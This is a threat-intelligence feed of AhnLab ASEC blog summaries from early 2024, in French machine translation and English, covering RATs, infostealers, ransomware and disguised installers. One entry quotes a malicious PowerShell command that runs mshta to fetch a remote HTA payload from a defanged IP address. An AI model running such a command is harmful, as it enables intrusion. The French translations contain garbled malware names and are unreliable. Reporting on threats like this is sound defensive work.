What's new arround internet
Last one

Src Date (GMT) Titre Description Tags Stories Notes
Blog.webp 2024-05-08 01:16:38 CHM malware volant les informations utilisateur distribuées en Corée
CHM Malware Stealing User Information Being Distributed in Korea (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert les circonstances d'une souche malveillante CHM qui vole les informations utilisateur étantdistribué aux utilisateurs coréens.Le CHM distribué est un type qui a été constamment distribué dans divers formats tels que LNK, DOC et Onenote du passé.Un léger changement dans le processus d'opération a été observé dans les échantillons récents.Le flux d'exécution global est illustré à la figure 1. Le malware est un type qui utilise plusieurs scripts pour finalement envoyer ...
AhnLab SEcurity intelligence Center (ASEC) has recently discovered circumstances of a CHM malware strain that steals user information being distributed to Korean users. The distributed CHM is a type that has been constantly distributed in various formats such as LNK, DOC, and OneNote from the past. A slight change to the operation process was observed in the recent samples. The overall execution flow is shown in Figure 1. The malware is a type that uses multiple scripts to ultimately send... 		Malware ★★★
Blog.webp 2024-05-08 00:59:58 Cas de distribution de logiciels malveillants liant le site Web de jeu illégal ciblant le serveur Web coréen
Case of Malware Distribution Linking to Illegal Gambling Website Targeting Korean Web Server (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a découvert des preuves d'une souche malveillante distribuée aux serveurs Web au sudLa Corée, conduisant les utilisateurs à un site de jeu illégal.Après avoir initialement infiltré un serveur Web Windows Information (IIS) des services d'information sur Internet (IIS) mal gérés en Corée, l'acteur de menace a installé la porte arrière de METERPRETRER, un outil de transfert de port et un outil de logiciel malveillant du module IIS.Ils ont ensuite utilisé ProCDump pour exfiltrater les informations d'identification du compte du serveur.Les modules IIS prennent en charge les fonctionnalités d'extension des serveurs Web tels que ...
AhnLab SEcurity intelligence Center (ASEC) has discovered evidence of a malware strain being distributed to web servers in South Korea, leading users to an illegal gambling site. After initially infiltrating a poorly managed Windows Internet Information Services (IIS) web server in Korea, the threat actor installed the Meterpreter backdoor, a port forwarding tool, and an IIS module malware tool. They then used ProcDump to exfiltrate account credentials from the server. IIS modules support expansion features of web servers such as... 		Malware Tool Threat ★★
Blog.webp 2024-05-07 00:50:55 Fichier LNK déguisé en certificat distribuant des logiciels malveillants Rokrat
LNK File Disguised as Certificate Distributing RokRAT Malware (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a confirmé la distribution continue des fichiers de raccourci (* .lnk) detailles anormales qui diffusent des logiciels malveillants de type porte-porte.Les fichiers de raccourcis récemment confirmés (* .lnk) visent les utilisateurs sud-coréens, en particulier ceux liés à la Corée du Nord.Les noms de fichiers LNK confirmés sont les suivants: les fichiers LNK confirmés contiennent une commande pour exécuter PowerShell via CMD, et leur type est similaire au type trouvé dans & # 8220; ROKRAT MALWWare distribué via des fichiers LNK (* .lnk): redeedes (redeedes (Scarcruft) & # 8221; ...
AhnLab SEcurity intelligence Center (ASEC) has confirmed the continuous distribution of shortcut files (*.LNK) of abnormal sizes that disseminate backdoor-type malware. The recently confirmed shortcut files (*.LNK) are found to be targeting South Korean users, particularly those related to North Korea. The confirmed LNK file names are as follows: The confirmed LNK files contain a command to execute PowerShell via CMD, and their type is similar to the type found in “RokRAT Malware Distributed Through LNK Files (*.lnk): RedEyes (ScarCruft)”... 		Malware ★★
Blog.webp 2024-05-02 00:15:52 Analyse des attaques de TargetCompany \\ contre les serveurs MS-SQL (Mallox, Bluesky Ransomware)
Analysis of TargetCompany\\'s Attacks Against MS-SQL Servers (Mallox, BlueSky Ransomware) (lien direct)		 While monitoring attacks targeting MS-SQL servers, AhnLab SEcurity intelligence Center (ASEC) recently identified cases of theTargetCompany Ransomware Group Installation du ransomware Mallox.Le groupe Ransomware TargetCompany cible principalement les serveurs MS-SQL mal gérés pour installer le ransomware Mallox.Bien que ces attaques soient en cours depuis plusieurs années, nous allons ici décrire la corrélation entre les logiciels malveillants nouvellement identifiés et les cas d'attaque antérieurs impliquant la distribution du Coinmin Tor2Mine et des ransomwares bluesky.Semblable aux cas précédents, cette attaque a ciblé mal ...
While monitoring attacks targeting MS-SQL servers, AhnLab SEcurity intelligence Center (ASEC) recently identified cases of the TargetCompany ransomware group installing the Mallox ransomware. The TargetCompany ransomware group primarily targets improperly managed MS-SQL servers to install the Mallox ransomware. While these attacks have been ongoing for several years, here we will outline the correlation between the newly identified malware and previous attack cases involving the distribution of the Tor2Mine CoinMiner and BlueSky ransomware. Similar to previous cases, this attack targeted improperly... 		Ransomware Malware ★★
Blog.webp 2024-04-24 00:09:33 Distribution de l'infostaler à base d'électron
Distribution of Infostealer Made With Electron (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a découvert une souche d'infosteller fabriquée avec un électron.Electron est un cadre qui permet de développer des applications à l'aide de JavaScript, HTML et CSS.Discord et Microsoft Vscode sont des exemples majeurs d'applications faites avec un électron.Les applications faites avec des électrons sont emballées et généralement distribuées au format d'installation du système d'installation scriptable Nullsoft (NSIS).L'acteur de menace de ce cas d'attaque a appliqué ce format d'installation au malware.[1] CAS # 1 Lorsque l'on exécute le malware, l'électron ...
AhnLab SEcurity intelligence Center (ASEC) has discovered an Infostealer strain made with Electron. Electron is a framework that allows one to develop apps using JavaScript, HTML, and CSS. Discord and Microsoft VSCode are major examples of applications made with Electron. Apps made with Electron are packaged and usually distributed in Nullsoft Scriptable Install System (NSIS) installer format. The threat actor in this attack case applied this installer format to the malware. [1] Case #1 When one runs the malware, the Electron... 		Malware Threat ★★
Blog.webp 2024-04-18 07:46:32 Analyse du rat nautique utilisé dans les attaques contre les systèmes Linux
Analysis of Pupy RAT Used in Attacks Against Linux Systems (lien direct)		 Pupy est une souche malveillante de rat qui offre un soutien à la plate-forme croisée.Parce qu'il s'agit d'un programme open-source publié sur GitHub, il est continuellement utilisé par divers acteurs de menace, y compris des groupes APT.Par exemple, il est connu pour avoir été utilisé par APT35 (qui aurait des liens avec l'Iran) [1] et a également été utilisé dans l'opération Earth Berberoka [2] qui ciblait les sites de jeux en ligne.Récemment, une souche de logiciels malveillante nommée Disy Dog a été découverte, qui est une version mise à jour de Pupy Rat ....
Pupy is a RAT malware strain that offers cross-platform support. Because it is an open-source program published on GitHub, it is continuously being used by various threat actors including APT groups. For example, it is known to have been used by APT35 (said to have ties to Iran) [1] and was also used in Operation Earth Berberoka [2] which targeted online gambling websites. Recently, a malware strain named Decoy Dog was discovered, which is an updated version of Pupy RAT.... 		Malware Threat APT 35 ★★
Blog.webp 2024-04-15 01:12:41 Package «totalement inattendu» Packware à l'aide du plug-in Modified Notepad ++ (Wikiloader)
“Totally Unexpected” Package Malware Using Modified Notepad++ Plug-in (WikiLoader) (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment identifié la distribution d'une version modifiée de & # 8220;mimetools.dll & # 8221;, un plug-in.Le fichier malveillant mimetools.dll en question a été inclus dans le fichier d'installation du package d'une certaine version du package Notepad ++ et déguisé en fichier de package légitime.Comme indiqué dans l'image ci-dessous, MiMetools est un module pour effectuer un codage Base64 et d'autres tâches.Il est inclus par défaut et ne nécessite pas que l'utilisateur l'ajoute manuellement ....
AhnLab SEcurity intelligence Center (ASEC) has recently identified the distribution of a modified version of “mimeTools.dll”, a default Notepad++ plug-in. The malicious mimeTools.dll file in question was included in the package installation file of a certain version of the Notepad++ package and disguised as a legitimate package file. As shown in the image below, mimeTools is a module for conducting Base64 encoding and other tasks. It is included by default and does not require the user to add it manually.... 		Malware ★★
Blog.webp 2024-04-08 05:47:42 Les acteurs de la menace piratent les chaînes YouTube pour distribuer des infostelleurs (Vidar et Lummac2)
Threat Actors Hack YouTube Channels to Distribute Infostealers (Vidar and LummaC2) (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert qu'il y avait un nombre croissant de cas où les acteurs de la menace utilisentYouTube pour distribuer des logiciels malveillants.Les attaquants ne créent pas simplement des canaux YouTube et distribuent des logiciels malveillants - ils volent des canaux bien connus qui existent déjà pour atteindre leur objectif.Dans l'un des cas, le canal ciblé comptait plus de 800 000 abonnés.Les acteurs de la menace qui abusent de YouTube distribuent principalement des infostelleurs.L'infostaler Redline qui a été distribué via YouTube en 2020 aussi ...
AhnLab SEcurity intelligence Center (ASEC) recently found that there are a growing number of cases where threat actors use YouTube to distribute malware. The attackers do not simply create YouTube channels and distribute malware-they are stealing well-known channels that already exist to achieve their goal. In one of the cases, the targeted channel had more than 800,000 subscribers. The threat actors who abuse YouTube are mainly distributing Infostealers. The RedLine Infostealer that was distributed via YouTube in 2020 as well... 		Malware Hack Threat ★★★
Blog.webp 2024-04-04 01:13:01 Rhadamanthys Malware déguisé en programme d'installation de groupware (détecté par MDS)
Rhadamanthys Malware Disguised as Groupware Installer (Detected by MDS) (lien direct)		 Récemment, Ahnlab Security Intelligence Center (ASEC) a découvert la distribution de Rhadamanthygroupware.L'acteur de menace a créé un faux site Web pour ressembler au site Web d'origine et exposé le site aux utilisateurs en utilisant la fonctionnalité publicitaire dans les moteurs de recherche.Le blog ASEC a précédemment couvert les logiciels malveillants distribués via ces fonctionnalités publicitaires des moteurs de recherche dans l'article intitulé & # 8220; Hé, ce n'est pas le bon site! & # 8221;Distribution des logiciels malveillants exploitant Google ADS Suivi [1].Le malware dans ...
Recently, AhnLab SEcurity intelligence Center (ASEC) discovered the distribution of Rhadamanthys under the guise of an installer for groupware. The threat actor created a fake website to resemble the original website and exposed the site to the users using the ad feature in search engines. ASEC Blog has previously covered malware distributed through such ad features of search engines in the article titled “Hey, This Isn’t the Right Site!” Distribution of Malware Exploiting Google Ads Tracking [1]. The malware in... 		Malware Threat ★★
Blog.webp 2024-04-01 01:12:13 "Hé, ce n'est pas le bon site!"Distribution des logiciels malveillants exploitant le suivi des annonces Google
“Hey, This Isn\\'t the Right Site!” Distribution of Malware Exploiting Google Ads Tracking (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment détecté une tension de logiciels malveillants distribuée en utilisant le suivi de Google ADS Googlefonctionnalité.Les cas confirmés montrent que les logiciels malveillants sont distribués en se déguisant comme un programme d'installation pour des groupes de groupes populaires tels que Notion et Slack.Une fois les logiciels malveillants installés et exécutés, il télécharge des fichiers malveillants et des charges utiles du serveur de l'attaquant.Vous trouverez ci-dessous la liste des noms de fichiers qui ont été découverts jusqu'à présent.Ce type de logiciels malveillants est ...
AhnLab SEcurity intelligence Center (ASEC) has recently detected a malware strain being distributed by using the Google Ads tracking feature. The confirmed cases show that the malware is being distributed by disguising itself as an installer for popular groupware such as Notion and Slack. Once the malware is installed and executed, it downloads malicious files and payloads from the attacker’s server. Below is the list of the file names that have been discovered so far. This type of malware is... 		Malware ★★
Blog.webp 2024-03-26 02:04:48 Malware déguisé en programme d'installation de la coréenne Public Institution (Kimsuky Group)
Malware Disguised as Installer from Korean Public Institution (Kimsuky Group) (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert le groupe Kimsuky distribuant des logiciels malveillants déguisés en installateur d'un coréeninstitution publique.Le malware en question est un compte-gouttes qui crée la porte dérobée Endoor, qui a également été utilisée dans l'attaque couverte dans le post précédent, «TrollAgent qui infecte les systèmes lors du processus d'installation du programme de sécurité (groupe Kimsuky)».[1] Bien qu'il n'y ait aucun enregistrement du compte-gouttes utilisé dans les attaques réelles, il y avait un cas d'attaque qui impliquait la porte dérobée ...
AhnLab SEcurity intelligence Center (ASEC) recently discovered the Kimsuky group distributing malware disguised as an installer from a Korean public institution. The malware in question is a dropper that creates the Endoor backdoor, which was also used in the attack covered in the previous post, “TrollAgent That Infects Systems Upon Security Program Installation Process (Kimsuky Group)”. [1] While there are no records of the dropper being used in actual attacks, there was an attack case that involved the backdoor created... 		Malware ★★
Blog.webp 2024-03-21 04:19:08 Avertissement contre l'infostaler déguisé en installateur
Warning Against Infostealer Disguised as Installer (lien direct)		 Le malware STALC déguisé en installateur est distribué en masse.Il a été identifié comme étant téléchargé via Discord, Github, Dropbox, etc. Compte tenu des cas de distribution en utilisant des itinéraires similaires, il devrait rediriger les victimes à plusieurs reprises à partir d'une page Web malveillante déguisée en page de téléchargement pour un certain programme à l'URL de téléchargement.Stealc est un infostecteur qui extorque une variété d'informations clés telles que le système, le navigateur, le portefeuille de crypto-monnaie, la discorde, le télégramme et les données du client par courrier.Le ...
The StealC malware disguised as an installer is being distributed en masse. It was identified as being downloaded via Discord, GitHub, Dropbox, etc. Considering the cases of distribution using similar routes, it is expected to redirect victims multiple times from a malicious webpage disguised as a download page for a certain program to the download URL. StealC is an Infostealer that extorts a variety of key information such as system, browser, cryptocurrency wallet, Discord, Telegram, and mail client data. The... 		Malware ★★★
Blog.webp 2024-03-19 02:27:37 Cryptowire avec clé de décryptage incluse
CryptoWire with Decryption Key Included (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert la distribution de Cryptowire, une ransomware qui était autrefois virale dans2018. Cryptowire est principalement distribué via des e-mails de phishing et est fabriqué à l'aide du script AutOIT.Les principales fonctionnalités du ransomware copies et se collent dans le chemin «C \ Program Files \ Common Files» et enregistre un calendrier au planificateur de tâches pour maintenir la persistance.& # 160;& # 160;Le logiciel malveillant explore les environnements réseau locaux et connectés pour étendre le processus de chiffrement des fichiers, enregistre les données comme domaincheck.txt dans ...
AhnLab SEcurity intelligence Center (ASEC) recently discovered the distribution of CryptoWire, a ransomware that was once viral in 2018. CryptoWire is mainly distributed via phishing emails and is made using Autoit script. Main Features The ransomware copies and pastes itself in the path “C\Program Files\Common Files,” and registers a schedule to the task scheduler to maintain persistence.     The malware explores the local and connected network environments to expand the file encryption process, saves the data as domaincheck.txt in... 		Ransomware Malware ★★★
Blog.webp 2024-03-19 01:50:49 Andariel Group exploitant les solutions de gestion des actifs coréens (Meshagent)
Andariel Group Exploiting Korean Asset Management Solutions (MeshAgent) (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert les attaques continues d'Andariel Group & # 8217;.Il est à noter que des installations de Meshagent ont été trouvées dans certains cas.Les acteurs de la menace exploitent souvent Meshagent ainsi que d'autres outils de gestion à distance similaires car il offre diverses fonctionnalités de télécommande.Le groupe Andariel a exploité les solutions de gestion des actifs coréens pour installer des logiciels malveillants tels que Andarloader et ModelOader, qui sont les logiciels malveillants utilisés dans les cas précédents.En commençant par l'agent Innix dans le passé, le groupe ...
AhnLab SEcurity intelligence Center (ASEC) recently discovered the Andariel group’s continuous attacks on Korean companies. It is notable that installations of MeshAgent were found in some cases. Threat actors often exploit MeshAgent along with other similar remote management tools because it offers diverse remote control features. The Andariel group exploited Korean asset management solutions to install malware such as AndarLoader and ModeLoader, which are the malware used in the previous cases. Starting with Innorix Agent in the past, the group... 		Malware Tool Threat ★★
Blog.webp 2024-03-11 00:17:09 Distribution du malware MSIX Disguisé en notion d'installation
Distribution of MSIX Malware Disguised as Notion Installer (lien direct)		 un malware MSIX déguisé en tant que installateur de notion est distribué.Le site Web de distribution ressemble à celui de la page d'accueil de la notion réelle.& # 160;L'utilisateur obtient un fichier nommé & # 8216; notion-x86.msix & # 8217;En cliquant sur le bouton de téléchargement.Ce fichier est un programme d'installation de l'application Windows et il est signé avec un certificat valide.& # 160;L'utilisateur obtient la fenêtre contextuelle suivante lors de l'exécution du fichier.En cliquant sur le bouton Installer, la notion est installée sur le PC et est infectée par des logiciels malveillants.& # 160;Lors de l'installation, ...
An MSIX malware disguised as the Notion installer is being distributed. The distribution website looks similar to that of the actual Notion homepage.   The user gets a file named ‘Notion-x86.msix’ upon clicking the download button. This file is Windows app installer, and it is signed with a valid certificate.   The user gets the following pop-up upon running the file. Upon clicking the Install button, Notion is installed on the PC and is infected with malware.   Upon installing,... 		Malware ★★
Blog.webp 2024-03-05 01:14:24 Wograt Malware exploite AnotePad (Windows, Linux)
WogRAT Malware Exploits aNotepad (Windows, Linux) (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert la distribution des logiciels malveillants de secours via Anotepad, un en ligne gratuit en lignePlateforme de blocs-notes.Ledit malware prend en charge à la fois le format PE qui cible le système Windows et le format ELF qui cible le système Linux.Comme l'acteur de menace a utilisé la chaîne & # 8216; wingofgod & # 8217;Pendant le développement des logiciels malveillants, il est classé comme Wograt.& # 160;1. Cas de distribution, il est supposé que le WOGRAT a été continu en continu dans les attaques depuis la fin 2022 jusqu'à ...
AhnLab Security intelligence Center (ASEC) has recently discovered the distribution of backdoor malware via aNotepad, a free online notepad platform. Said malware supports both the PE format that targets the Windows system and the ELF format that targets the Linux system. As the threat actor used the string ‘WingOfGod’ during the development of the malware, it is classified as WogRAT.   1. Distribution Cases It is assumed that the WogRAT has continuously been used in attacks since late 2022 until... 		Malware Threat ★★
Blog.webp 2024-02-27 00:36:02 Malware de phishing qui envoie des informations volées à l'aide de l'API Telegram
Phishing Malware That Sends Stolen Information Using Telegram API (lien direct)		 l'année dernière, Ahnlab Security Intelligence Center (ASEC) a introduit des fichiers de script de phishing qui utilisaient Telegram pour divulguer des informations utilisateur[1].Récemment, plusieurs scripts de phishing utilisant Telegram sont distribués sans discrimination à travers des mots clés tels que les remises et les reçus.Contrairement aux fichiers de script de phishing qui ont été distribués au début, les derniers fichiers sont obscurcis pour éviter la détection.Semblable au passé, ils sont distribués en utilisant divers moyens et tactiques tels que inciter les utilisateurs à se connecter pour ouvrir des fichiers protégés ou ...
Last year, AhnLab SEcurity intelligence Center (ASEC) introduced phishing script files that used Telegram to leak user information [1]. Recently, several phishing scripts using Telegram are being distributed indiscriminately through keywords such as remittance and receipts. Unlike the phishing script files that were distributed in the early days, the latest files are obfuscated to avoid detection. Similar to the past, they are being distributed using various means and tactics such as prompting users to login to open protected files or... 		Malware ★★★
Blog.webp 2024-02-26 02:14:17 Analyse du rat Nood utilisé dans les attaques contre Linux (variante de Gh0st Rat \\)
Analysis of Nood RAT Used in Attacks Against Linux (Gh0st RAT\\'s Variant) (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert que Nood Rat était utilisé dans les attaques de logiciels malveillants.Nood Rat est une variante de GH0st Rat qui fonctionne dans Linux.Bien que le nombre de rats GH0ST pour Linux soit inférieur à celle du rat GH0ST pour Windows, les cas de rat GH0ST pour Linux sont collectés en continu.NOOD RAT est classé comme une variante du rat GH0ST en fonction de la similitude du code avec les codes précédents de Gh0st Rat [1].Un constructeur utilisé ...
AhnLab SEcurity intelligence Center (ASEC) recently discovered that Nood RAT is being used in malware attacks. Nood RAT is a variant of Gh0st RAT that works in Linux. Although the number of Gh0st RAT for Linux is fewer compared to Gh0st RAT for Windows, the cases of Gh0st RAT for Linux are continuously being collected. Nood RAT is categorized as a variant of Gh0st RAT based on the code’s similarity with previous codes from Gh0st RAT [1]. A builder used... 		Malware ★★
Blog.webp 2024-02-23 00:28:12 Trollagent qui infecte les systèmes lors du processus d'installation du programme de sécurité (groupe Kimsuk)
TrollAgent That Infects Systems Upon Security Program Installation Process (Kimsuky Group) (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert que les souches de logiciels malveillants sont téléchargées dans des systèmes lorsque les utilisateurs essaient de téléchargerProgrammes de sécurité d'un site Web coréen lié à la construction.La connexion est nécessaire pour utiliser les services de site Web, et divers programmes de sécurité doivent être installés pour se connecter. Parmi les programmes qui doivent être installés pour la connexion, l'un des installateurs avait des souches de logiciels malveillants à l'intérieur.Lorsque l'utilisateur télécharge et installe le programme d'installation, les souches de logiciels malveillants sont également installées avec la sécurité ...
AhnLab SEcurity intelligence Center (ASEC) recently discovered that malware strains are downloaded into systems when users try to download security programs from a Korean construction-related association’s website. Login is required to use the website’s services, and various security programs must be installed to log in. Among the programs that must be installed for login, one of the installers had malware strains inside. When the user downloads and installs the installer, the malware strains are also installed along with the security... 		Malware ★★
Blog.webp 2024-02-13 03:52:20 Malware de revanche de vengeance sans fichier
Fileless Revenge RAT Malware (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment découvert la distribution des logiciels malveillants de Revenge Rat qui avaient été développés en fonction deOutils légitimes.Il semble que les attaquants aient utilisé des outils tels que & # 8216; SMTP-Validator & # 8217;et & # 8216; e-mail à SMS & # 8217;.Au moment de l'exécution, le logiciel malveillant crée et exécute à la fois un outil légitime et un fichier malveillant, ce qui rend difficile pour les utilisateurs de réaliser qu'une activité malveillante s'est produite.Comme indiqué dans le code ci-dessous, l'acteur de menace crée et exécute setup.exe ...
AhnLab SEcurity intelligence Center (ASEC) recently discovered the distribution of Revenge RAT malware that had been developed based on legitimate tools. It appears that the attackers have used tools such as ‘smtp-validator’ and ‘Email To Sms’. At the time of execution, the malware creates and runs both a legitimate tool and a malicious file, making it difficult for users to realize that a malicious activity has occurred. As shown in the code below, the threat actor creates and runs Setup.exe... 		Malware Tool Threat ★★
Blog.webp 2024-02-08 08:00:40 Blueshell utilisé dans les attaques contre les systèmes Linux en Corée (2)
BlueShell Used in Attacks Against Linux Systems in Korea (2) (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a précédemment téléchargé l'article «Blueshell utilisé dans les attaques appropriées contre le coréen et le thaïlandaisCibles »[1] sur le blog ASEC qui a introduit des souches de logiciels malveillants Blueshell qui ont été utilisés contre les systèmes Linux en Thaïlande et en Corée.L'acteur de menace a personnalisé le malware BlueShell Backdoor pour leur attaque et a configuré la condition de fonctionnement des logiciels malveillants pour travailler uniquement dans des systèmes spécifiques.Même après la sortie de l'article, les souches de logiciels malveillants Blueshell développées par le même acteur de menace sont collectées en continu ...
AhnLab SEcurity intelligence Center (ASEC) previously uploaded the article “BlueShell Used in APT Attacks Against Korean and Thai Targets” [1] on the ASEC blog which introduced BlueShell malware strains that were used against Linux systems in Thailand and Korea. The threat actor customized the BlueShell backdoor malware for their attack, and configured the malware’s operating condition to only work in specific systems. Even after the article’s release, the BlueShell malware strains developed by the same threat actor are being continuously collected... 		Malware Threat ★★★
Blog.webp 2024-02-07 01:59:51 Distribution des logiciels malveillants de rat déguisés en fichier lié au jeu
Distribution of RAT Malware Disguised as a Gambling-related File (lien direct)		 AhnLab SEcurity intelligence Center (ASEC) has identified the distribution of RAT malware disguised as an illegal gambling-relateddéposer.Comme la méthode de distribution de Venomrat introduit le mois dernier ([1]), le malware est réparti via un fichier de raccourci (.lnk), et il télécharge le rat directement depuis HTA.Le fichier de raccourci distribué contient une commande PowerShell malveillante qui exécute MSHTA et télécharge le script malveillant.Commande PowerShell C: \ Windows \ System32 \ Windowspowershell \ V1.0 \ PowerShell.exe.$ Env: C: \ W * \ S * 2 \ M * H? A. * \\ 'hxxp: //193.***.*** [.] 253: 7287 / 2.hta.hta \\«Les URL malveillantes dans le fichier de raccourci confirmé sont les suivantes: hxxp: //193.***.*** [.] 253: 7287 / 2.hta.hta ...
AhnLab SEcurity intelligence Center (ASEC) has identified the distribution of RAT malware disguised as an illegal gambling-related file. Like the distribution method of VenomRAT introduced last month ([1]), the malware is spread via a shortcut (.lnk) file, and it downloads the RAT directly from HTA. The distributed shortcut file contains a malicious PowerShell command which runs mshta and downloads the malicious script. PowerShell command C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . $env:C:\W*\S*2\m*h?a.*  \'hxxp://193.***.***[.]253:7287/2.hta.hta\' The malicious URLs in the confirmed shortcut file are as follows: hxxp://193.***.***[.]253:7287/2.hta.hta... 		Malware ★★★
Blog.webp 2024-02-02 08:27:49 Acteurs de la menace Installation des comptes de porte dérobée Linux
Threat Actors Installing Linux Backdoor Accounts (lien direct)		 AhnLab Security Intelligence Center (ASEC) utilise un pot de miel Linux SSH pour surveiller les attaques contre les systèmes Linux non spécifiés.Les acteurs de la menace installent des logiciels malveillants en lançant des attaques de force brute et du dictionnaire contre les systèmes Linux qui sont mal gérés, tels que l'utilisation de paramètres par défaut ou le mot de passe simple.Bien qu'il existe une variété de cas d'attaque, y compris ceux où les vers, les co -miners et les robots DDOS sont installés, ce message couvrira les cas d'attaque où des comptes de porte dérobée sont créés à la place des logiciels malveillants.De telles attaques ...
AhnLab SEcurity intelligence Center (ASEC) is using a Linux SSH honeypot to monitor attacks against unspecified Linux systems. Threat actors install malware by launching brute force and dictionary attacks against Linux systems that are poorly managed, such as using default settings or having a simple password. While there is a variety of attack cases including those where worms, CoinMiners, and DDoS bots are installed, this post will cover attack cases where backdoor accounts are created instead of malware. Such attacks... 		Malware Threat ★★
Blog.webp 2024-02-01 02:20:55 Les informations d'identification du compte volant les logiciels malveillants détectés par Ahnlab MDS (navigateurs Web, e-mail, FTP)
Account Credentials Stealing Malware Detected by AhnLab MDS (Web Browsers, Email, FTP) (lien direct)		 Les utilisateurs utilisent fréquemment la commodité des fonctionnalités de connexion automatique fournies par des programmes tels que les navigateurs Web, les clients de messagerie, etClients FTP.Cependant, cette commodité a un coût car chacun de ces programmes stocke les informations d'identification du compte utilisateur dans leurs données de paramètres.En dépit d'être une fonctionnalité pratique, il présente également un risque de sécurité parce que les acteurs de menaces malveillants sont en mesure de fuir les utilisateurs & # 8217;Compte les informations d'identification facilement.Si les acteurs de malware ou de menace prennent le contrôle d'un système infecté, ils peuvent utiliser divers ...
Users frequently utilize the convenience of automatic log in features provided by programs like web browsers, email clients, and FTP clients. However, this convenience comes at a cost as each of these programs stores user account credentials within their settings data. Despite being a convenient feature, it also poses a security risk because malicious threat actors are able to leak the users’ account credentials easily. If malware or threat actors gain control of an infected system, they can employ various... 		Malware Threat ★★★
Blog.webp 2024-01-30 05:20:34 Trigona Ransomware menace l'acteur utilise Mimic Ransomware
Trigona Ransomware Threat Actor Uses Mimic Ransomware (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment identifié une nouvelle activité de l'acteur de menace de ransomware Trigona Installation de Mimicransomware.Comme les cas passés, l'attaque récemment détectée cible les serveurs MS-SQL et est remarquable pour abuser de l'utilitaire BCP (Bulk Copy Program) dans les serveurs MS-SQL pendant le processus d'installation de logiciels malveillants.L'ASEC a découvert un cas d'attaque pour la première fois en utilisant BCP pour installer Mimic début janvier 2024. À la mi-janvier 2024, des types d'attaques similaires étaient identifiés où Trigona a été installé à la place ...
AhnLab SEcurity intelligence Center (ASEC) has recently identified a new activity of the Trigona ransomware threat actor installing Mimic ransomware. Like past cases, the recently detected attack targets MS-SQL servers and is notable for abusing the Bulk Copy Program (BCP) utility in MS-SQL servers during the malware installation process. ASEC first discovered a case of attack using BCP to install Mimic in early January 2024. In mid-January 2024, there were similar types of attacks identified where Trigona was installed instead... 		Ransomware Malware Threat ★★
Blog.webp 2024-01-24 00:03:25 Distribution de Venomrat (asyncrat) imitation des sociétés informatiques coréennes
Distribution of VenomRAT (AsyncRAT) Impersonating Korean IT Companies (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a trouvé un fichier de raccourci (.lnk) qui télécharge Asyncrat (Venomrat).Pour que le fichier LNK se déguise en fichier Word normal, il a été distribué avec le nom & # 8216; Survey.docx.lnk & # 8217;à l'intérieur d'un fichier compressé qui contenait également un fichier texte normal.Surtout, les utilisateurs doivent rester vigilants, car le fichier exécutable (blues.exe) utilisé dans l'attaque est déguisé en certificat coréen.Le processus de fonctionnement global du malware est comme indiqué ci-dessous ....
AhnLab SEcurity intelligence Center (ASEC) found a shortcut file (.lnk) that downloads AsyncRAT (VenomRAT). In order for the LNK file to disguise itself as a normal Word file, it was distributed with the name ‘Survey.docx.lnk’ inside a compressed file which also contained a normal text file. Above all, users need to remain vigilant, as the executable file (blues.exe) used in the attack is disguised as a Korean company’s certificate. The overall operation process of the malware is as shown below.... 		Malware ★★
Blog.webp 2024-01-19 00:32:31 Distribution de smokeloader ciblant le gouvernement et les entreprises ukrainiens
Distribution of SmokeLoader Targeting Ukrainian Government and Companies (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a découvert que plusieurs souches de malware smokeloder sont distribuées au gouvernement ukrainien etentreprises.Il semble que le nombre d'attaques ciblant l'Ukraine ait récemment augmenté.Les objectifs confirmés jusqu'à présent comprennent le ministère ukrainien de la Justice, les institutions publiques, les compagnies d'assurance, les institutions médicales, les entreprises de construction et les entreprises de fabrication.L'e-mail distribué suit le format illustré à la figure 1 écrite en ukrainien.Le corps comprenait des informations liées à une facture, incitant le lecteur à exécuter ...
AhnLab SEcurity intelligence Center (ASEC) discovered that multiple SmokeLoader malware strains are being distributed to the Ukrainian Government and companies. It seems that the number of attacks targeting Ukraine has increased recently. The targets confirmed so far include the Ukrainian Department of Justice, public institutions, insurance companies, medical institutions, construction companies, and manufacturing companies. The distributed email follows the format shown in Figure 1 written in Ukrainian. The body included information related to an invoice, prompting the reader to execute... 		Malware Medical ★★★
Blog.webp 2024-01-18 07:10:53 MIMO COINMINER ET MIMUS RANSOMWALIES installées via des attaques de vulnérabilité
Mimo CoinMiner and Mimus Ransomware Installed via Vulnerability Attacks (lien direct)		 Ahnlab Security Intelligence Center (ASEC) a récemment observé les circonstances d'un acteur de menace de Coinmin appelé MIMO exploitant diverses vulnérabilités àinstaller des logiciels malveillants.MIMO, également surnommé HEZB, a été retrouvé pour la première fois lorsqu'ils ont installé des co -miners grâce à une exploitation de vulnérabilité Log4Shell en mars 2022. Jusqu'à présent, tous les cas d'attaque impliquaient l'installation de XMRIG Coinmin, appelé MIMO Miner Bot dans l'étape finale.Cependant, il y avait d'autres cas pertinents où le même acteur de menace a installé Mimus Ransomware, Proxyware et Reverse Shell ...
AhnLab SEcurity intelligence Center (ASEC) recently observed circumstances of a CoinMiner threat actor called Mimo exploiting various vulnerabilities to install malware. Mimo, also dubbed Hezb, was first found when they installed CoinMiners through a Log4Shell vulnerability exploitation in March 2022. Up until now, all of the attack cases involved the installation of XMRig CoinMiner called Mimo Miner Bot in the final stage. However, there were other pertinent cases where the same threat actor installed Mimus ransomware, proxyware, and reverse shell... 		Ransomware Malware Vulnerability Threat ★★★
Blog.webp 2024-01-14 22:53:23 Remcos Rat distribué via les webards
